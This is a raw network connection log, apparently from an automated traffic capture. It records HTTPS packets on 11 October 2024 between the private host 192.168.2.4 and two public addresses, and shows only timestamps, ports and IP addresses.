Oct 11, 2024 20:30:16.625586987 CEST	443	59050	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.629877090 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.629901886 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.629914999 CEST	59053	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.629920959 CEST	443	59053	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.631655931 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.631720066 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.631786108 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.632582903 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.632621050 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.632648945 CEST	59051	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.632664919 CEST	443	59051	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.639334917 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.639370918 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.639425039 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.640470028 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.640517950 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.640575886 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.641334057 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.641352892 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.641407013 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.642265081 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.642282963 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.642335892 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.642674923 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.642699957 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.642791033 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.642802954 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.645121098 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.645154953 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.645209074 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.645490885 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.645499945 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.645750999 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.645757914 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.645792961 CEST	59052	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.645797968 CEST	443	59052	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.648389101 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.648402929 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.650397062 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.650408983 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:16.650458097 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.650804996 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:16.650820017 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.320806026 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.326808929 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.331418991 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.331445932 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.332639933 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.332655907 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.333781004 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.333812952 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.334028959 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.334034920 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.338784933 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.339308023 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.339325905 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.339982986 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.339994907 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.340976954 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.341411114 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.341438055 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.342355013 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.342370987 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.345567942 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.345948935 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.346004963 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.346591949 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.346597910 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.439686060 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.439812899 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.439929008 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.440551043 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.440551043 CEST	59056	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.440574884 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.440582037 CEST	443	59056	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.445275068 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.445331097 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.445498943 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.445938110 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.445957899 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.451303959 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.452028990 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.452116966 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.452208996 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.452208996 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.452280998 CEST	59055	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.452306032 CEST	443	59055	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.454809904 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.454865932 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.454920053 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.455028057 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.455046892 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.457875013 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.457931042 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458060980 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.458334923 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.458350897 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458357096 CEST	59057	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.458363056 CEST	443	59057	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458583117 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458739042 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458853006 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.458904028 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.459134102 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.459151983 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.459163904 CEST	59054	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.459168911 CEST	443	59054	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.460974932 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.461168051 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.461262941 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.461720943 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.461724997 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.461762905 CEST	59058	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.461766005 CEST	443	59058	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.464555979 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.464586973 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.464739084 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.465504885 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.465521097 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.468122959 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.468135118 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.468244076 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.468733072 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.468744993 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.469614029 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.469633102 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.469779968 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.470088005 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:17.470104933 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:17.814841986 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:17.814903975 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:17.815033913 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:18.117283106 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.118024111 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.118042946 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.119014978 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.119020939 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.121108055 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.121396065 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.121427059 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.122164011 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.122169971 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.125960112 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.126415014 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.126421928 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.127233982 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.127239943 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.140734911 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.141858101 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.141885996 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.143353939 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.143361092 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.147041082 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.148205996 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.148242950 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.149260044 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.149266958 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.228014946 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.228137970 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.228193998 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.230020046 CEST	59062	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.230038881 CEST	443	59062	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.232847929 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.232903957 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.232959032 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.232963085 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.233006001 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.234431982 CEST	59060	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.234447002 CEST	443	59060	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.241758108 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.241986036 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.242044926 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.244257927 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.244294882 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.244355917 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.245022058 CEST	59061	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.245029926 CEST	443	59061	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.245759010 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.245785952 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.250500917 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.250534058 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.250608921 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.252084970 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.252095938 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.252159119 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.252862930 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.252887011 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.253300905 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.253309965 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.256230116 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.256369114 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.256422997 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.256711006 CEST	59059	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.256726027 CEST	443	59059	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.259833097 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.259864092 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.259922981 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.260277033 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.260294914 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.260854006 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.261009932 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.261075974 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.261702061 CEST	59063	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.261708021 CEST	443	59063	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.271541119 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.271583080 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:18.271698952 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.273087025 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:18.273108006 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.380460024 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:19.380490065 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:19.908040047 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.908596039 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.908617973 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.908958912 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.909019947 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.909030914 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.909265041 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.909287930 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.909681082 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.909687042 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.911887884 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.912257910 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.912266016 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.912591934 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.912597895 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913038015 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913064957 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913285971 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.913316011 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913479090 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.913503885 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913605928 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.913614988 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:19.913846016 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:19.913852930 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.020464897 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.020780087 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.020845890 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.020916939 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.020936012 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.020951986 CEST	59066	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.020970106 CEST	443	59066	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023356915 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023462057 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023612976 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.023650885 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.023737907 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023751020 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.023751974 CEST	59065	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.023761034 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023771048 CEST	443	59065	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.023842096 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.023968935 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.024002075 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025310040 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025327921 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025367022 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.025371075 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025424004 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.025722027 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.025738001 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025748014 CEST	59064	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.025753021 CEST	443	59064	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.025917053 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.025938988 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.026051044 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.026212931 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.026253939 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027487040 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.027509928 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027568102 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.027575970 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027683973 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.027698994 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027879953 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027931929 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.027940035 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.027992010 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.028022051 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.028033972 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.028045893 CEST	59068	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.028050900 CEST	443	59068	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.029685974 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.029716015 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.029767990 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.029889107 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.029902935 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.037534952 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.037686110 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.037758112 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.037786961 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.037800074 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.037811041 CEST	59067	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.037815094 CEST	443	59067	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.039407015 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.039431095 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.039566994 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.039629936 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.039639950 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.688802004 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.688802958 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.689390898 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.689423084 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.689423084 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.689441919 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.689870119 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.689878941 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.689975977 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.689986944 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.727765083 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.728310108 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.728322029 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.728640079 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.728646040 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.786041975 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.786272049 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.786422014 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.786458969 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.786613941 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.786634922 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.786994934 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.787010908 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.787058115 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.787061930 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.796668053 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.796986103 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.797055006 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.797080040 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.797103882 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.797148943 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.797179937 CEST	59072	443	192.168.2.4	13.107.253.64
